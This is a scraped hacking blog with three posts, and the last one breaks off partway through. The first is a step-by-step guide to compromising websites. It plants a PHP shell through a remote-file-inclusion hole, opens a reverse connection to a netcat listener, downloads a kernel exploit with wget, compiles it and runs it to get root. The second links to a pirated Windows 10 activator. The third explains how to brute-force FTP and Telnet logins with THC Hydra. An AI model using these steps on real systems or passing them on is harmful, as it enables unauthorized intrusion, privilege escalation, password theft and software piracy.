Arjunkotri: website hacking

MulCi Shellcode for Website Hacking

CDRHINDI 0 website hacking March 19, 2016

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
What we need?<br />-RFI Vulnerable Script<br />-PHP Shell<br />-Netcat<br />-Brains<br />First of all, we need to get a shell on a site.<br />For this tutorial i will be using MulCi Shell.<br />So, once you have it on a site, go to the 'Backdoor Host' tab and forward a port.<br />Now, go to the 'Back connect' tab and insert the following settings:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i52.tinypic.com/2mnow9z.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://i52.tinypic.com/2mnow9z.png" width="320" /></a></div>
<div style="text-align: center;">
1- Your IP Address.<br />2-The port you forwarded.<br />Now, go on CMD and 
type in:cd 'Path To Your Netcat.exe' and then you need to make netcat 
listen to the port you forwarded.To do this, type:nc -l -n -v -p port<br />It looked like this for me:<br />Microsoft Windows XP [Version 5.1.2600]<br />Copyright 1985-2001 Microsoft Corp.</div>
<div style="text-align: center;">
<br />C:\KroKite>cd C:\</div>
<div style="text-align: center;">
<br />C:\>cd WINDOWS</div>
<div style="text-align: center;">
<br />C:\WINDOWS>nc -l -n -v -p 4444</div>
<div style="text-align: center;">
<br />listening on [any] 4444 ...<br />Now, when you have netcat listening to the port you forwarded, click 'Connect'.<br />When your connected, type 'whoami'.You shouldnt have root.<br />Now,
 to find an exploit to root the box, you need to know whats the kernel 
version.To do this, just type 'uname -a'.It should look something like 
this:</div>
<div style="text-align: center;">
 </div>
<div style="text-align: center;">
Code:<br />Linux linux1.dmehosting.com 2.6.17-92.1.10.el5PAE #1 SMP Tue Aug 5 0805 EDT 2008 i686<br />Now, we go on exploit-db.com and we will look for '2.6.17'.</div>
<div style="text-align: center;">
 </div>
<div style="text-align: center;">
Code:<br />hhttp://www.exploit-db.com/exploits/5092/<br /><br />Now, we type 'wget http://www.exploit-db.com/exploits/5092/ on the netcat window.<br /><br />Code:<br />wget http://xpl_url.com</div>
<div style="text-align: center;">
So the exploit works, you must compile it in the server(gcc) and execute it via exploit(-o).<br />To do this we type 'gcc 5092 -o<br />exploit'.</div>
<div style="text-align: center;">
<br />Code:<br />gcc 5092 -o exploit<br />5092- After the url path.http://www.site.com/5092.</div>
<div style="text-align: center;">
<br />exploit- Output name.<br />Now you can execute your exploit by typing './exploit'<br />Wait for the exploit to finish running and type root again. </div>
<div style="text-align: center;">
It should output in something like this:</div>
<div style="text-align: center;">
<br />Code:<br />uid=0(root) gid=0(root) groups=500(apache) </div>
<div style="text-align: center;">
This means you have successfully rooted the box</div>
</div>

MulCi Shellcode for Website Hacking

What we need? -RFI Vulnerable Script -PHP Shell -Netcat -Brains First of all, we need to get a shell on a site. For this tutorial i will b...

Windows 10 Activator Download करे

CDRHINDI 0 Computer Security Plus, Computer Tips, website hacking, Window August 18, 2015

<div dir="ltr" style="text-align: left;" trbidi="on">
<h1 class="post-title entry-title" itemprop="name headline">
Windows 10 Activator Download करे 
</h1>
<div class="topmeta">
<div class="pull-right inner">
</div>
</div>
<div class="post-body entry-content" id="post-body-4369460528701276041" itemprop="description articleBody">
<div dir="ltr" style="text-align: left;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfUAke0669aB9Y91Mhkixyif0yFmmfjGXu_KseLQ2d_mBaOymL1GBo8gxcHoKlGvf5W_vwcChkVf5h7M3_ehss5ckBMcFMm6iSqrjo2Du6LMgfBWetRr9txAJUGqVeVGj9NP5YF9Bg-E6Z/s1600/windows+10+Activator.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfUAke0669aB9Y91Mhkixyif0yFmmfjGXu_KseLQ2d_mBaOymL1GBo8gxcHoKlGvf5W_vwcChkVf5h7M3_ehss5ckBMcFMm6iSqrjo2Du6LMgfBWetRr9txAJUGqVeVGj9NP5YF9Bg-E6Z/s400/windows+10+Activator.jpg" width="400" /></a></div>
आप लोगो ने मेरे द्वारा दिए गए लिंक से Windows 10 को डाउनलोड करने के बाद 
उसे इस्तेमाल करना भी शुरू कर दिया होगा लेकिन आप लोगो में से बहुत को 
निराशा होगी की जो Windows 10 डाउनलोड करी है वो डेमो वर्जन में है उसके 
बहुत से फीचर्स काम नहीं कर रहे है ऐसे सभी लोगो की समस्या का समाधान मै 
अपनी आज की पोस्ट के द्वारा दे रहा हु<br />
<br />
हालांकि गूगल पर सभी कुछ मिल जाता है जो भी हमे चाहिए वो सब गूगल पर उपलब्ध
 है लेकिन बहुत से लोगो को काम की फाइल डाउनलोड करने में बहुत सी समस्या का
 सामना करना पड़ता है मैं ऐसे ही लोगो की समस्या को दूर करने के लिए गूगल के
 द्वारा ही सर्च करी हुई वो फाइल आपको दे रहा हु जिसका इस्तेमाल करके आप 
अपनी <b><span style="color: red;">windows 10</span></b> को फुल वर्जन में बदल सकते हो मैंने खुद इस फाइल का इस्तेमाल करके माइक्रोसॉफ्ट की सबसे लेटेस्ट <b><span style="color: red;">windows 10</span></b> को फुल वर्जन में बदला है तो आपके लिए भी सीधे गूगल से वो फाइल हाजिर है<br />
<br />
अगर आप भी अपनी <b><span style="color: red;">windows 10</span></b> को फुल वर्जन में बदलना चाहते है तो <a href="https://openload.io/f/eC-z2bdGpUo/Win10_KMS_Auto_Lite.rar" target="_blank"><span style="color: magenta;">यहाँ क्लिक करके इसका Windows 10 Activator डाउनलोड करो</span> </a>और अपनी window को फुल वर्जन में बदल कर इसके सभी फीचर्स का इस्तेमाल करो आप चाहे तो <a href="http://www12.zippyshare.com/v/oJmULJVD/file.html" target="_blank"><span style="color: magenta;">यहाँ क्लिक करके आप  Windows 10 Activator को डाउनलोड कर सकते हो</span> </a><br />
ये फाइल डाउनलोड करके के बाद इसे अनज़िप करो और डबल क्लिक करके इसका सेटअप 
चला कर एक्टिवेट पर क्लिक करके अपनी विंडो को फुल वर्जन में बदल लो<br />
<br />
Windows 10 सच में एक बेहतरीन विंडो है अगर एक बार आपने इस पर काम कर लिया 
तो आप माइक्रोसॉफ्ट की सभी पुरानी विंडो को भूल जाओगे Windows 10 से जुडी 
और भी नयी नयी जानकारियां मैं आपको अपनी आने वाली पोस्टो में दूंगा तो 
इन्तजार करे मेरी आने वाली पोस्टो का …… </div>
</div>
</div>

Windows 10 Activator Download करे

Windows 10 Activator Download करे आप लोगो ने मेरे द्वारा दिए गए लिंक से Windows 10 को डाउनलोड करने के बाद उसे इस्तेमाल करना भी ...

FTP and TELNET Password Cracking with THC Hydra

CDRHINDI 0 Eathical hacking, Hacking, Internet tips and tricks, website hacking January 25, 2015

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<h3 class="post-title entry-title" style="background-color: black; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 22px; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0.75em; position: relative; text-align: -webkit-auto;">
<span style="color: red;">FTP and TELNET Password Cracking with THC Hydra</span></h3>
<div class="post-header" style="background-color: black; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 11px; line-height: 1.6; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: -webkit-auto;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" id="post-body-2213857167816426606" style="background-color: black; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 1.4; position: relative; text-align: -webkit-auto; width: 3028px;">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /><div class="MsoNormal" style="background-color: white; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><span style="line-height: 19.600000381469727px;">Password is the only thing which protects secure information on the network systems. If we want to access secure information, we must be an authorize member of the system or network.  According to many password security study passwords are the biggest </span><span style="line-height: 19.59090805053711px;">security holes</span><span style="line-height: 19.600000381469727px;"> . If any unauthorized managed to get the right password, he will be able to access the secure data on the system.</span></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Although many security systems try to improve security by various methods but there are some tools which always break the security easily. THC Hydra is the tool which shows how easy it is to gain the unauthorized access of a network system from remote to a system.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">This is not the only tool which can crack FTP or Telnet passwords of a remote computer. There are various tools available which can do this job and those also supports various protocols and use parallel connection to crack. But THC Hydra is the best and known for its speed and efficiency.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">THC Hydra performs brute force attack based on password dictionary.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>Bruteforce Attack</b>: Bruteforce attack is the most widely used attack for password cracking. This attack uses all possible permutations of passwords until the correct password is found.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">For example: If the password is 3 characters long and consists of both letters and numbers. Then a brute force attack will use 2,38,328 different password at your password.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">For First character: total lower case letters (26) + total upper case letters (26) + total numbers (10) = 62</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">For Second character: same = 62</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">For Third character: same = 62</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Total permutations = 62*62*62 = 2,38,328</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>About THC Hydra:</b> Before knowing about the password cracking with this tool, you must know few things about this tool.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">THC Hydra is the fast network logon cracker. It connects with multiple parallel connections to the remote systems and then starts its attack. It is able to crack passwords of various kinds of services.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">If we compare this tool with other available logon password crackers, this tool supports more services and protocols. And it is faster than other tools.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>List of Protocols, THC Hydra supports: </b>These are the protocols which this tool supports. We can crack password of these services with this nice logon cracker.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>Supported Platforms: </b>This network logon cracker is available for most of the available platforms. This is the list:</span></div>
<div class="MsoListParagraphCxSpFirst" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">·         All UNIX platforms (linux, *bsd, solaris, etc.)</span></div>
<div class="MsoListParagraphCxSpMiddle" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">·         Mac OS/X</span></div>
<div class="MsoListParagraphCxSpMiddle" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">·         Windows with Cygwin (both ipv4 and ipv6)</span></div>
<div class="MsoListParagraphCxSpLast" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">·         Mobile systems based on Linux or Mac OS/X (e.g. Android, iPhone, Zaurus, iPaq)</span></div>
<div class="MsoListParagraphCxSpLast" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Hydra Explaind and its usage:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">For command line usage, we will use following command:</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">$ hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Here different argument has different meaning. Read the meaning of these command line arguments below:</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-R<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">It is used to restore a previous aborted/crashed session</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-S<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">connect via SSL to the target system</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-s<port><o:p></o:p></port></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">if the service is on a different default port, define it here. Write –s before the port.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-l <login>or -L<file><o:p></o:p></file></login></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">login with LOGIN name, or load several logins from FILE. Be sure for case of l in both argument. Small for username ad capital for username list file.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-p <pass>or -P<file><o:p></o:p></file></pass></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">try password PASS, or load several passwords from FILE. Same case for p will be applied here. If you want to try single password use small p. But use capital P for the password list.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-e<ns><o:p></o:p></ns></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">additional checks, "n" for null password, "s" try login as pass</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-C<file><o:p></o:p></file></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">colon seperated "login:pass" format, instead of -L/-P options. This file will have colon seperated login and password. This is also a better idea to use.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-M<file><o:p></o:p></file></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">server list for parallel attacks, one entry per line</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-o<file><o:p></o:p></file></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-size: medium;"><span style="font-family: Times, 'Times New Roman', serif;">It will write found login/password pairs to FILE instead of stdout</span><span style="font-family: Times, 'Times New Roman', serif; line-height: 19.600000381469727px;">.</span></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-f<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">This argument will exit after the first found login/password pair (per host if -M). It will not check for any other combinattion which may be matched if we are using username list and password list together.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-t<tasks><o:p></o:p></tasks></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">run TASKS number of connects in parallel (default: 16)</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-w</span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">defines the max wait time in seconds for responses (default: 30)</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">-v / -V<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">verbose mode / show login+pass combination for each attempt</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">server<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">the target server (use either this OR the -M option)</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">service<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">the service to crack. Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">How to crack Telnet password with THC Hydra:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">First of all download, Hydra from the official website. If you are using windows Version, you will have to work on console. These are no GUI for windows users. I am showing it on windows. Download the zip file and extract it on the system.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Now follow these steps:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Click on start and type CMD in search bar (in windows 7) and open command prompt.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Now change the command prompt location to the hydra folder by using CD command.</span></div>
<div class="separator" style="background-color: white; clear: both; line-height: 19.600000381469727px; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSMDq7JCDC3a-UVJIJQyVaSYFsgCa_HS3l6vzkd1rdfr5LuS2WPDlJ5I1Cieuvr5slJnSZBoQtnRld3iwrSSVNZobrgvXxQB7jWEblw2AnyghEYgDbKjDtgWS4vRDBFB7A6u0FJXvDEYEA/s1600/thc1.png" imageanchor="1" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; color: blue; margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black; font-family: Times, 'Times New Roman', serif; font-size: medium;"><img border="0" height="88" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSMDq7JCDC3a-UVJIJQyVaSYFsgCa_HS3l6vzkd1rdfr5LuS2WPDlJ5I1Cieuvr5slJnSZBoQtnRld3iwrSSVNZobrgvXxQB7jWEblw2AnyghEYgDbKjDtgWS4vRDBFB7A6u0FJXvDEYEA/s320/thc1.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 4px; border-color: initial; border-image: initial; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 4px; border-right-color: rgb(221, 221, 221); border-right-style: solid; border-right-width: 4px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 4px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="320" /></span></a></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Figure 1: THC Hydra</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Now we will execute the hydra by typing <b>hydra.exe </b>in the command prompt<b><o:p></o:p></b></span></div>
<div class="separator" style="background-color: white; clear: both; line-height: 19.600000381469727px; text-align: justify;">
